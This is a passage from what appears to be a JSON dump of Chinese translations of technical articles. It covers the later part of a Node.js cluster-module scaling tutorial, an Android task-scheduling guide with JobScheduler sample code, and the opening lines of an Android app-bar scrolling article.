模块来快速执行克隆策略是一个不错的选择。\n\n即使是一个小型的服务器通常也会有多个内核，甚至如果你不担心 Node 服务器负载过重的话，可以任意开启 cluster 模块来提高服务器的可用性和容错性。执行这一步操作很简单，当你使用像 PM2 这样的进程管理器，你要做的就只是简单地给启动命令提供一个参数而已！\n\n接着让我来跟你讲讲该如何使用原生的 cluster 模块，并且我会解释它是怎么工作的。\n\ncluster 模块的结构很简单，我们创建一个 **master** 进程，并且让这个 master 进程 fork 多个 **worker** 进程并管理它们，每一个 worker 进程代表需要可拓展的应用的实例。所有请求都由 master 进程处理，这个进程会给每个 worker 进程分配其中一部分需要处理的请求。\n\n![](https://cdn-images-1.medium.com/max/2000/1*C7ICI8d7aAna_zTZvZ64MA.png)\n\nPluralsight 课程上的截图 — Node.js 进阶\n\nmaster 进程的工作很简单，实际上它只是使用**轮替**算法来挑选 worker 进程。除了 Windows 以外的操作系统都默认开启了这个算法，并且它能通过全局修改来让操作系统本身来处理负载均衡。\n\n轮替算法让负载轮流地均匀分布在可用进程。第一个请求会指向第一个 worker 进程，第二个请求指向列表上的下一个进程，以此类推。当列表已经遍历完，算法会从头开始。\n\n这是其中一种最简易并且也是最常用的负载均衡算法，但是并不是只有这一个。还有很多各具特色的算法能分配优先级和抽选负载最小或者响应速度最快的服务器。\n\n#### HTTP 服务器上的负载均衡\n\n让我们克隆一个简单的 HTTP 服务器并通过 cluster 模块实现负载均衡。这是一个简单的 Node hello-word 例子，我们修改一下让它模拟响应前的 CPU 工作。\n\n    // server.js\n\n    const http = require('http');\n    const pid = process.pid;\n\n    http.createServer((req, res) => {\n      for (let i=0; i<1e7; i++); // simulate CPU work\n      res.end(`Handled by process ${pid}`);\n    }).listen(8080, () => {\n      console.log(`Started process ${pid}`);\n    });\n\n为了检验负载均衡器我们需要创建一些东西来让它工作，我已经在 HTTP 响应中引进了程序 `pid` 来识别目前正在处理请求的应用的实例。\n\n在我们使用 cluster 模块把服务器中的主进程克隆成多个 worker 进程之前，我们应该先调查下服务器每秒能够处理多少个请求。我们可以用 [Apache 基准测试工具](https://httpd.apache.org/docs/2.4/programs/ab.html) 来做这件事。在运行 `server.js` 之前，我们先执行 `ab` 命令：\n\n    ab -c200 -t10 http://localhost:8080/\n\n这个命令会在 10 秒内发起 200 个并发连接来测试服务器的负载性能。\n\n![](https://cdn-images-1.medium.com/max/2000/1*w8VmzV81atlTzHn7pDXu1g.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n在我的服务器上，单独一个 node 服务器每秒可以处理 51 个请求。当然，结果会随着平台的不同而有所变化，这只是一个非常简化的性能测试，并不能保证结果 100% 准确，但是它将会清晰地显示 cluster 模块给多核的应用环境所带来的不同。\n\n既然我们有了一个参照的基准，我们就可以通过 cluster 模块来实现克隆策略，以此来拓展一个应用的规模。\n\n在 `server.js` 的同级目录上，我们可以创建一个名叫 `cluster.js` 的新文件，用来提供 master 进程：\n\n    // cluster.js\n\n    const cluster = require('cluster');\n    const os = require('os');\n\n    if (cluster.isMaster) {\n      const cpus = os.cpus().length;\n\n      console.log(`Forking for ${cpus} CPUs`);\n      for (let i = 0; i<cpus; i++) {\n        cluster.fork();\n      }\n    } else {\n      require('./server');\n    }\n\n在 `cluster.js` 文件里，我们首先引入 `cluster` 和 `os` 模块，我们需要 `os` 模块里的  `os.cpus()` 方法来得到 CPU 的数量。\n\n`cluster` 模块给了我们一个便利的 Boolean 参数 `isMaster` 来确定 `cluster.js` 是否正在被 master 进程读取。当我们第一次执行这个文件时，我们会执行在 master 进程上，因此 `isMaster` 为  true。在这种情况下，我们让 master 进程多次 fork 我们的服务器，直到 fork 的次数达到 CPU 的数量。\n\n现在我们只是通过 `os` 模块来读取 CPU 的数量，然后对这个数字进行一个 for 循环，在循环内部调用 `cluster.fork` 方法。for 循环将会简单地创建和 CPU 数量一样多的 worker 进程，以此来充分利用服务器可用的计算能力。\n\n当 `cluster.fork` 这一行在 master 进程中被执行时，当前的 `cluster.js` 文件会再运行一次，但是这一次是在 **worker 进程**，其中的 `isMaster` 参数为 false。**实际上在这种情况下，另外一个参数将为 true，这个参数是 `isWorker` 参数**。\n\n当应用运行在 worker 进程上，它开始做实际的工作。我们就在这里定义服务器的业务逻辑，例如，我们可以通过请求已经有的 `server.js` 文件来实现业务逻辑。\n\n基本就是这样了。这样就能简单地充分利用服务器的计算能力。想要测试 cluster，运行 `cluster.js` 文件：\n![](https://cdn-images-1.medium.com/max/1600/1*c0S-W4GYgCGB_maJ94ZLPw.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n我的服务器有 8 核因此我要开启 8 个进程。其中重要的是要理解它们和 Node.js 里的进程完全不同。每个 worker 进程有其独自的事件循环和内存空间。\n\n当我们多次请求网络服务器，这些请求将会由不同的 worker 进程处理，worker 进程的 id 也各不相同。序列里的 worker 进程不会准确地进行轮换，因为 cluster 模块在挑选下一个处理请求的 worker 进程时进行了一些优化，负载会分布在不同的 worker 进程中。\n\n我们同样可以使用先前的 `ab` 命令来测试 cluster 中的进程的负载：\n\n![](https://cdn-images-1.medium.com/max/2000/1*5_EogHG-Egf2uAMOj9PmCA.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n同样是单独的 node 服务器，创建 cluster 后服务器每秒能够处理 181 个请求，没用 cluster 模块之前每秒只能处理 51 个请求。我们只是增加了几行代码，应用的性能就提高了 3 倍。\n\n#### 广播所有 Worker 进程\n\nmaster 进程与 worker 进程之间能够简单地进行通信，因为 cluster 模块有个 `child_process.fork` 的 api，这意味着 master 进程与每个 worker 进程之间进行通信是可能的。\n\n基于 `server.js`/`cluster.js` 的例子，我们可以用 `cluster.workers` 获取一个包含所有 worker 对象的列表，该列表持有所有 worker 的引用，并可以通过这个引用来读取 worker 的信息。有了让 master 进程和 worker 进程通信的方法后，想要广播每个 worker 进程，我们只需要简单地遍历所有的 worker。例如：\n\n    Object.values(cluster.workers).forEach(worker => {\n      worker.send(`Hello Worker ${worker.id}`);\n    });\n\n通过 `Object.values` 可以从 `cluster.workers` 对象里简单地来获取一个包含所有 worker 的数组。然后对于每个 worker，我们使用 `send` 函数来传递任意我们要传的值。\n\n在一个 worker 文件里，在我们的例子中 `server.js` 要读取从 master 进程中收到的消息，我们可以在全局 `process` 对象中给 `message` 事件注册一个 handler。\n\n    process.on('message', msg => {\n      console.log(`Message from master: ${msg}`);\n    });\n\n当我在 cluster/server 上测试这两项新加的东西时所看到：\n\n![](https://cdn-images-1.medium.com/max/2000/1*6XfoWiNKTCiDjqar7L5_xw.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n每个 worker 都收到了来自 master 进程的消息。**注意到 worker 的启动是乱序的。**\n\n这次我们让通信的内容变得更实际一点。这次我们想要服务器返回数据库中用户的数量。我们将会创建一个 mock 函数来返回数据库中用户的数量，并且每次当它被调用时对这个值进行平方处理（理想情况下的增长）：\n\n    // **** 模拟 DB 调用\n    const numberOfUsersInDB = function() {\n      this.count = this.count || 5;\n      this.count = this.count * this.count;\n      return this.count;\n    }\n    // ****\n\n每次 `numberOfUsersInDB` 被调用，我们会假设已经连接数据库。我们想要避免多次数据库的请求，因此我们会根据一定时间对调用进行缓存，例如每 10 秒缓存一次。然而，我们仍然不想让 8 个 forked worker 使用独自的数据库连接和每 10 秒关闭 8 个数据库连接。我们可以让 master 进程只请求一次数据库连接，然后通过通信接口告诉这 8 个 worker 用户数量的最新值。\n\n例如，在 master 进程模式中，我们同样可以遍历所有 worker 来广播用户数量的值：\n\n    // 在 isMaster=true 的状态下进行 fork 循环后\n\n    const updateWorkers = () => {\n      const usersCount = numberOfUsersInDB();\n      Object.values(cluster.workers).forEach(worker => {\n        worker.send({ usersCount });\n      });\n    };\n\n    updateWorkers();\n    setInterval(updateWorkers, 10000);\n\n这里第一次我们调用了 `updateWorkers`，然后通过 `setInterval` 每 10 秒调用这个方法。这样的话，每 10 秒所有的 worker 会以通信的形式收到用户数量的值，并且我们只需要创建一次数据库连接。\n\n在服务端的代码，我们可以从同样的 `message` 事件 handler 中拿到 `usersCount` 的值。我们简单地用一个模块全局变量缓存这个值，这样我们在任何地方都能使用它。\n\n例如：\n\n    const http = require('http');\n    const pid = process.pid;\n\n    let usersCount;\n    \n    http.createServer((req, res) => {\n      for (let i=0; i<1e7; i++); // simulate CPU work\n      res.write(`Handled by process ${pid}\\n`);\n      res.end(`Users: ${usersCount}`);\n    }).listen(8080, () => {\n      console.log(`Started process ${pid}`);\n    });\n\n    process.on('message', msg => {\n      usersCount = msg.usersCount;\n    });\n\n上面的代码让 worker 的 web 服务器用缓存的 `usersCount` 进行响应。如果你现在测试 cluster 的代码，前 10 秒你会从所有的 worker 里得到用户数量为 “25”（同时只创建了一个数据库连接）。然后 10 秒过后，所有的 worker 开始报告当前的用户数量，625（同样只创建了一个数据库连接）。\n\n得力于 master 进程和 worker 之间通信的方法的存在，我们能够做到这一切。\n\n#### 提高服务器的可用性\n\n我们在运行单独一个 Node 应用的实例时有一个问题，就是当这个实例崩溃时，我们必须重启整个应用。这意味着崩溃后的重启之间会存在一个时间差，即使我们让这项操作自动执行也是一样的。\n\n同理当服务器想要部署新代码就必须重启。只有一个实例，为此所造成的时间差会影响系统的可用性。\n\n而如果我们有多个实例的话，只需添加寥寥数行代码就可以提高系统的可用性。\n\n为了在服务器中模拟随机崩溃，我们通过一个 timer 来调用 `process.exit`，让它随机执行。\n\n    // 在 server.js 文件\n\n    setTimeout(() => {\n      process.exit(1) // 随时退出进程\n    }, Math.random() * 10000);\n\n当一个 worker 进程因崩溃而退出，`cluster` 对象里的 `exit` 事件会通知 master 进程。我们可以给这个事件注册一个 handler，并且当其他 worker 进程还存在时让它 fork 一个新的 worker 进程。\n\n例如：\n\n    // 在 isMaster=true 的状态下进行 fork 循环后\n\n    cluster.on('exit', (worker, code, signal) => {\n      if (code !== 0 && !worker.exitedAfterDisconnect) {\n        console.log(`Worker ${worker.id} crashed. ` +\n                    'Starting a new worker...');\n        cluster.fork();\n      }\n    });\n\n这里我们添加一个 if 条件来保证 worker 进程真的崩溃了而不是手动断开连接或者被 master 进程杀死了。例如，我们使用了太多的资源超出了负载的上限，因此 master 进程决定杀死一部分 worker。因此我们调用 `disconnect` 方法给任意 worker，这样 `exitedAfterDisconnect` flag 就会设为 true。if 语句会保证不会因此而 fork 新的 worker。\n\n如果我们带着上面的 handler 运行 cluster（同时 `server.js` 里有随机的崩溃的代码），在随机数秒过后，worker 会开始崩溃，master 进程会立刻 fork 新的 worker 来提高系统的可用性。你同样可以用 `ab` 命令来衡量可用性，看看服务器有多少的请求没有处理（因为有一些请求会不走运地遇到无法避免的崩溃）。\n\n当我测试这段代码，10 秒内请求 1800 次，其中有 200 次并发请求，最后只有 17 次请求失败。\n\n![](https://cdn-images-1.medium.com/max/2000/1*B72o6QhsyiNnEQU5Wx20RQ.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n这有 99% 以上的可用性。只是添加数行代码，现在我们不再担心进程崩溃了。master 守护将会替我们关注这些进程的情况。\n\n#### 瞬时重启\n\n那当我们想要部署新代码，而不得不重启所有的 worker 进程时该怎么办呢？\n\n我们有多个实例在运行，所以与其让它们一起重启，不如每次只重启一个，这样的话即使重启也能保证其他的 worker 进程能够继续处理请求。\n\n用 cluster 模块能简单地实现这一想法。当 master 进程开始运行之后我们就不想重启它，我们需要想办法传递重启 worker 的指令给 master 进程。在 Linux 系统上这样做很容易因为我们能监听一个进程的信号像 `SIGUSR2`，当 `kill` 命令里面带有进程 id 和信号时这个监听事件将会触发：\n\n    // 在 Node 里面\n    process.on('SIGUSR2', () => { ... });\n\n    // 触发信号\n    $ kill -SIGUSR2 PID\n\n这样，master 进程不会被杀死，我们就能够在里面进行一系列操作了。`SIGUSR2` 信号适合这种情况，因为我们要执行用户指令。如果你想知道为什么不用 `SIGUSR1`，那是因为这个信号用在 Node 的调试器上，我们为了避免冲突所以不用它。\n\n不幸的是，在 Windows 里面的进程不支持这个信号，我们要找其他方法让 master 进程做这件事。有几种代替方案。例如，我们可以用标准输入或者 socket 输入。或者我们可以监控 `process.id` 文件的删除事件。但是为了让这个教程更容易，我们还是假定服务器运行在 Linux 平台上。\n\n在 Windows 上 Node 运行良好，但是我认为让作为产品的 Node 应用在 Linux 平台上运行会更安全。这和 Node 本身无关，只是因为在 Linux 上有更多稳定的生产工具。这只是我的个人见解，最好还是根据自己的情况选择平台。\n\n**顺带一提，在最近的 Windows 版本里，实际上你可以在里面使用 Linux 子系统。我自己测试过了，没有什么特别明显的缺点。如果你在 Windows 上开发 Node 应用，可以看看 [**Bash on Windows**](https://msdn.microsoft.com/en-us/commandline/wsl/about) 并尝试一下。**\n\n在我们的例子中，当 master 进程收到 `SIGUSR2` 信号，就意味着是时候重启 worker 了，但是我们想要每次只重启一个 worker。因此 master 进程应该等到当前的 worker 已经重启完后再重启下一个 worker。\n\n我们需要用 `cluster.workers` 对象来得到当前所有 worker 的引用，然后我们简单地把它存进一个数组中：\n\n    const workers = Object.values(cluster.workers);\n\n然后，我们创建 `restartWorker` 函数来接受要重启的 worker 的 index。这样当下一个 worker 可以重启时，我们让函数调用当前 worker，直到最后重启整个序列里的 worker。这是需要调用的 `restartWorker` 函数（解释在后面）：\n\n    const restartWorker = (workerIndex) => {\n      const worker = workers[workerIndex];\n      if (!worker) return;\n\n      worker.on('exit', () => {\n        if (!worker.exitedAfterDisconnect) return;\n        console.log(`Exited process ${worker.process.pid}`);\n\n        cluster.fork().on('listening', () => {\n          restartWorker(workerIndex + 1);\n        });\n      });\n\n      worker.disconnect();\n    };\n\n    restartWorker(0);\n\n在 `restartWorker` 函数里面，我们得到了要重启的 worker 的引用，然后我们会根据序列递归调用这个函数，我们需要一个结束递归的条件。当没有 worker 需要重启，我们就直接 return。基本上我们想让这个 worker 断开连接（使用 `worker.disconnect`），但是在重启下一个 worker 之前，我们需要 fork 一个新的 worker 来代替当前断开连接的 worker。\n\n当目前要断开连接的 worker 还存在时，我们可以用 worker 本身的 `exit` 事件来 fork 一个新的 worker，但是我们要确保在平常的断开连接调用后 exit 动作就会被触发。我们可以用 `exitedAfetrDisconnect` flag，如果 flag 不为 true，那么是因为其他原因而导致的 exit，这种情况下我们什么都不做就直接 return。但是如果 flag 为 true，我们就继续执行下去，fork 一个新的 worker 来代替当前要断开连接的那个。\n\n当新的 fork worker 进程准备好了，我们就要重启下一个。然而，记住 fork 的过程不是同步的，所以我们不能在调用完 fork 后就直接重启下个 worker。我们要在新的 fork worker 上监听 `listening` 事件，这个事件告诉我们这个 worker 已经连接并准备好了。当我们触发这个事件，我们就可以安全地重启下个在序列里 worker 了。\n\n这就是我们为了实现瞬时重启要做的东西。要测试它，你要知道需要发送 `SIGUSR2` 信号的 master 进程的 id：\n\n    console.log(`Master PID: ${process.pid}`);\n\n开启 cluster，复制 master 进程的 id，然后用 `kill -SIGUSR2 PID` 命令重启 cluster。同样你可以在重启 cluster 时用 `ab` 命令来看看重启时的可用性。剧透一下，没有请求失败：\n\n![](https://cdn-images-1.medium.com/max/2000/1*NjG0e2ARIDQiYSHWNvdNPQ.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n像 PM2 这样的进程监控器，我个人把它用在生产环境上，它让我们实现上述工作变得异常简单，同时它还有许多功能来监控 Node.js 应用的健壮度。例如，用 PM2，想要在任意应用上启动 cluster，你只需要用 `-i` 参数：\n\n    pm2 start server.js -i max\n\n想要瞬时重启你只需要使用这个神奇的命令：\n\n    pm2 reload all\n\n然而，我觉得在使用这些命令之前先理解其背后的实现是有帮助的。\n\n#### 共享状态和粘性负载均衡\n\n好东西总是需要付出代价。当我们对一个 Node 应用进行负载均衡，我们也失去了一些只能在单进程适用的功能。这个问题在其他语言上被称为线程安全，它和在线程之间共享数据有关。在我们的案例中，问题则在于如何在 worker 进程之间共享数据。\n\n例如，设立了 cluster 后，我们就不能在内存上缓存东西了，因为每个 worker 有其独立的内存空间，如果我们在其中一个 worker 的内存里缓存东西，其他的 worker 就没办法拿到它。\n\n如果我们需要在 cluster 里缓存东西，我们要从所有 worker 那里分离实体和读取／写入实体的 API。实体要存放在数据库服务器，或者如果你想用内存来缓存，你可以使用像 Redis 这样的服务器，或者创建一个专注于读取／写入 API 的 Node 进程供所有 worker 使用。\n\n![](https://cdn-images-1.medium.com/max/2000/1*dIR_CAkmtPFgtaGTOKBFkA.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n这个做法有个好处，当你的应用为了缓存而分离了实体，实际上这是**分解**的一部分，能让你的应用更具可拓展性。即使你运行在一个单核服务器，你也应该这样做。\n\n除了缓存外，当我们运行 cluster，总体来说状态之间的交流成为了一个问题。我们不能确保交流发生在同一个 worker 上，因此不能在任何一个 worker 上创建一个状态相关的交流通道。\n\n一个最常见的例子是用户认证。\n\n![](https://cdn-images-1.medium.com/max/2000/1*jKAmrLPMer6_kmpIjyGzxA.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n用 cluster，验证的请求分配到 master 进程，而这个进程把请求分配给一个 worker，假定分配给 A。\n\n![](https://cdn-images-1.medium.com/max/2000/1*dNUlcuEXPkk44A63ct0s0g.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n现在 Worker A 认出了用户的状态。但是，当同样的用户进行另外一个请求，最终负载均衡器会把它分配给其他 worker，而这些 worker 还没有验证这个用户。在单独一个实例的内存上持有验证用户的引用并不管用。\n\n有很多方法处理这个问题。通过在共享数据库或者 Redis node 上对会话信息进行排序，我们可以在 worker 之间共享状态。然而，实现这个策略需要改变一些代码，这不是最好的方法。\n\n如果你不想修改代码就实现一个会话的共享存储仓库，有个入侵性低但效率不高的策略。你可以用粘性负载均衡。和让普通的负载均衡器实现上述策略相比，它更为简单。想法很简单，当 worker 的实例要验证用户，我们在负载均衡器上记录相关的关系。\n\n![](https://cdn-images-1.medium.com/max/2000/1*P4LNRLkZ9n_p8OKtmRM9LA.png)\n\n来自 Pluralsight 课程中的截图 — Node.js 进阶\n\n然后，当同样的用户发送新的请求，我们就检查记录，发现服务器里已经有验证的会话，然后把这个会话发送给服务器，而不是执行普通的验证操作。用这个方法不需要改变服务器里的代码，但同时我们不会得到用负载均衡器来验证用户的好处，所以只有别无选择时才用粘性负载均衡。\n\n实际上 cluster 模块并不支持粘性负载均衡，但是大多数负载均衡器可以默认设置为粘性负载均衡。\n\n---\n\n感谢阅读。如果你觉得这篇文章对你有帮助，请点击下面的 💚。关注我来得到更多有关 Node.js 和 JavaScript 的文章。\n\n我为 [Pluralsight](https://app.pluralsight.com/profile/author/samer-buna) 和 [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) 创建了**网络课程**。最近我的课程是 [Advanced React.js](https://www.pluralsight.com/courses/reactjs-advanced)，[Advanced Node.js](https://www.pluralsight.com/courses/nodejs-advanced) 和 [Learning Full-stack JavaScript](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html)。\n\n同时我也为 JavaScript，Node.js，React.js，和 GraphQL 的水平在初级与进阶之间的人们创建了**在线 training**。如果你想要找一位导师，可以 [发邮件给我](mailto:samer@jscomplete.com)。如对这篇文章或者其他我写的文章有任何疑问，请在 [这个 **slack** 用户](https://slack.jscomplete.com/) 上找到我并且在 #question 空间上提问。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/schedule-tasks-and-jobs-intelligently-in-android.md",
    "content": "> * 原文地址：[Schedule tasks and jobs intelligently in Android](https://android.jlelse.eu/schedule-tasks-and-jobs-intelligently-in-android-e0b0d9201777)\n> * 原文作者：[Ankit Sinhal](https://android.jlelse.eu/@ankit.sinhal)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[PhxNirvana](https://juejin.im/user/57a16f4e6be3ff00650682d8)\n> * 校对者：[ilumer](https://github.com/ilumer)、[wilsonandusa](https://github.com/wilsonandusa)\n\n# Android 中的定时任务调度\n\n![](https://cdn-images-1.medium.com/max/2000/1*WocBeIFoDtFZE7euHzm_Kg.png)\n\n\n在近期的应用开发中，异步执行任务是很流行的，而且这些任务经常在应用的生命周期之外运行，如下载数据或更新网络资源。有些情况下我们还需要做一些并不是马上需要执行的工作。Android 提供了一些 API 来帮助我们在应用中调度这些任务。\n\n选择合适调度器可以提升应用的性能并且延长电池使用时间。\n\nAndroid M 还引入了 [打盹模式（Doze mode](https://developer.android.com/training/monitoring-device-state/doze-standby.html) 来减少用户在短期内不使用设备时的电池消耗。\n\nAndroid 中可以使用的调度器有以下几种：\n\n- Alarm Manager\n- Job Scheduler\n- GCM Network Manager\n- Firebase Job Dispatcher\n- Sync Adapter\n\n### **Services 的问题**\n\nServices 允许应用在后台执行长时间的操作， 但这一行为是十分耗电的。\n\n当持续使用设备资源却没有有效任务在执行时，service 便更加有害了。当那些后台服务在监听不同系统广播时（比如 *CONNECTIVITY_CHANGE* 或者 *NEW_PICTURE* 等），问题的严重性还会提升。 \n\n### **在应用的生命周期之内调度任务**\n\n当应用正在运行时，如果我们想在特定时间执行任务的话，推荐使用 Handler 结合 Timer 和 Thread，而不是使用 Alarm Manger, Job Scheduler 等。使用 [Handler](https://developer.android.com/reference/android/os/Handler.html) 更简单高效。\n\n### **在应用的生命周期之外调度任务**\n\n### [**Alarm Manager**](https://developer.android.com/reference/android/app/AlarmManager.html)\n\nAlarmManager 提供系统级的定时服务。正因此，也是一种在应用生命周期之外执行操作的方法。即使应用没有运行，也可以触发事件或动作。AlarmManager 可以在未来唤起服务。当达到预定时间时，触发特定的 PendingIntent。\n\n注册过的定时任务会在设备休眠时保留（并且可以选择是否唤醒设备），但在关机和重启时会被清空。\n\n**“我们应该只在执行特定时间的任务时使用 AlarmManager API。这并不是一个用来粗暴检查诸如设备空闲、网络状况或充电情况的方法。”**\n\n**用例：**假设我们想在一小时后执行任务或每隔一小时执行一次任务， AlarmManager 是完美选择。但这 API 并不适合执行特定条件的任务，如网络好或不充电时执行任务这种情况。\n\n### [**Job Scheduler**](https://developer.android.com/reference/android/app/job/JobScheduler.html)\n\n这是所有提过的调度器中最主要的一个，它可以高效地执行后台任务。 *JobScheduler* API 是在 Android 5.0(API level 21) 引入的\n\n该 API 可以在资源充足时或满足条件时批量执行任务。创建任务时可以定义执行的先决条件。当条件满足时，系统会在应用的 JobService 上执行任务。 *JobScheduler* 的执行也取决于系统的打盹模式和应用当前状态。\n\n批量执行的特性使得设备可以更快地进入休眠，并拥有更长的休眠期，以此来延长电池使用时间。总而言之，这个 API 可以用来执行任何对时间不敏感的计划。\n\n### [**GCM Network Manager**](https://developers.google.com/cloud-messaging/network-manager)\n\nGCM (Google Cloud Messaging) Network Manager 有着 JobScheduler 的全部特性，GCM Network Manager 也用在重复的或一次性的，不紧急的任务上来延长电量。\n\n这个 API 是向下兼容的，支持 Android 5.0 (API level 21) 以下。从 API level 23 开始，GCM Network Manager 使用 Android 框架的 JobScheduler。GCM Network Manager 使用 Google Play 服务 内置的调度器，所以这个类 **只会在安装了 Google Play 服务** 的设备上运行。\n\nGoogle 强烈建议 GCM 的用户升级到 FCM 并使用 Firebase Job Dispatcher 执行任务调度。\n\n### [**Firebase Job Dispatcher**](https://github.com/firebase/firebase-jobdispatcher-android#user-content-firebase-jobdispatcher-)\n\nFirebase JobDispatcher 也是一个后台任务调度库。该库也被用来向下支持（低于 API level 21）并且支持所有近期 Android 设备（API level 9+）。\n\n这个库也可以在没有安装 Google play 服务的设备，却仍想调度任务的应用上使用。这时，库内部的实现是 AlarmManager。如果设备上有 Google Play 服务，则会使用 Google Play 服务内置的调度器。\n\n**提示：** 当 Google Play 服务不可用时，会使用 AlarmManager 来支持 API level <= 21 \n\n如果设备是 API level 21 的话，则使用 JobScheduler。这个库的框架是相同的，所以没有什么功能改变。\n\n### [**Sync Adapter**](https://developer.android.com/reference/android/content/AbstractThreadedSyncAdapter.html)\n\nSync adapter 是被特别设计用来同步设备和云端数据的。它的用途也只限定在这方面。同步可以在云端或客户端数据有改变时触发，也可以通过时间差或设定每日一次。Android 系统会试图执行批量同步来节省电量，无法同步的将会被放到队列中稍后执行。系统只在联网时会尝试执行同步。\n\n不管什么情况，都建议使用 Google 提供的 JobScheduler、Firebase JobDispatcher、或 GCM Network Manager。\n\n在 Android N (API level 24)中，SyncManager 在 JobScheduler （任务）的顶端。如果需要 SyncAdapter 提供的额外功能的话，建议只使用 SyncAdapter。\n\n### **练习**\n\n我们已经讨论了一堆理论性的东西，下面来看看如何使用 Android job scheduler。\n\n**1. 建立 Job Service**\n\n建立 *JobSchedulerService* 并继承 *JobService* 类，需要重写下面两个方法：*onStartJob(JobParameters params)* 和 *onStopJob(JobParameters params)*\n\n    public class JobSchedulerService extends JobService {\n\n    @Override\n\n    public boolean onStartJob(JobParameters params) {\n\n    return false;\n\n    }\n\n    @Override\n\n    public boolean onStopJob(JobParameters params) {\n\n    return false;\n\n    }\n\n    }\n\n\n*onStartJob(JobParameters params)* 方法在 JobScheduler 决定执行任务时调用。JobService 在主线程工作，所以任何耗时操作都应该在另外的线程执行。*onStopJob(JobParameters params)* 在任务还没执行完（调用 jobFinished(JobParameters, boolean) 之前），但系统决定停止执行时调用。\n\n还需要在 AndroidManifest 中注册 job service\n\n    <application>\n\n    <service\n\n    android:name=”.JobSchedulerService “\n\n    android:permission=”android.permission.BIND_JOB_SERVICE”\n\n    android:exported=”true”/>\n\n    </application>\n\n**2. 创建 *JobInfo* 对象**\n\n建立 *JobInfo* 对象需要将 *JobService* 传递到 *JobInfo.Builder()* 中，如下所示。这个 job builder 允许设置不同选项来控制任务的执行。\n\n    ComponentName serviceName = new ComponentName(context, JobSchedulerService.class);\n\n    JobInfo jobInfo = new JobInfo.Builder(JOB_ID, serviceName)\n\n    .setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)\n\n    .setRequiresDeviceIdle(true)\n\n    .setRequiresCharging(true)\n\n    .build();\n\n**3. 调度任务**\n\n现在有了 JobInfo 和 JobService ，所以是时候来调度任务了。 用 JobInfo 调度任务时只需要执行如下代码即可：\n\n    JobScheduler scheduler = (JobScheduler) context.getSystemService(Context.JOB_SCHEDULER_SERVICE);\n\n    int result = scheduler.schedule(jobInfo);\n\n    if (result == JobScheduler.RESULT_SUCCESS) {\n\n    Log.d(TAG, “Job scheduled successfully!”);\n\n    }\n\n可以在 [GitHub](https://github.com/AnkitSinhal/JobSchedulerExample) 下载 *JobSchedulerExample* 的源码\n\n### **总结**\n\n当调度任务时，需要仔细考虑执行的时间和条件，以及出错的后果。需要在应用性能和其他电池之类的条件间取舍。\n\n*JobScheduler* 容易实现，并且处理了大多数的复杂情况。当使用 *JobScheduler* 时，即使系统重启我们的任务依旧可以执行下去。此刻，*JobScheduler* 唯一的缺点就是它最低只在 api level 21 (Android 5.0) 上提供。\n\n感谢阅读。如果感觉有用，还请轻点❤来推荐文章给更多人。\n\n关注接下来的文章。有任何意见和建议请通过下面的渠道联系我们： [Twitter](https://twitter.com/ankitsinhal)[Google+](https://plus.google.com/109883670809423986640)[LinkedIn](https://in.linkedin.com/in/ankit-sinhal-58a16319)\n\n进入我的 [博客](http://androidjavapoint.blogspot.in/) 获取更多有趣的开发话题。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/scrolling-behavior-for-appbars-in-android.md",
    "content": "> * 原文地址：[Scrolling Behavior for Appbars in Android](https://android.jlelse.eu/scrolling-behavior-for-appbars-in-android-41aff9c5c468#.4fzku8r1x)\n* 原文作者：[Karthikraj](https://android.jlelse.eu/@twit2karthikraj?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[XHShirley](https://github.com/XHShirley)\n* 校对者：[jifaxu](https://github.com/jifaxu)，[tanglie1993](https://github.com/tanglie1993)\n\n\n# 安卓应用栏的滚动效果 #\n\n\n应用栏包含四个主要部分。它们在滚动效果中扮演中重要角色，分别是：\n\n- 状态栏\n\n- 工具栏\n\n- 标签栏／搜索栏\n\n- 弹性空白\n\n\n![](https://cdn-images-1.medium.com/max/600/0*2uu13QqDndXLuPrT.png)\n\n一个有状态栏、导航栏、标签／搜索栏以及弹性空白的例子。图片来自 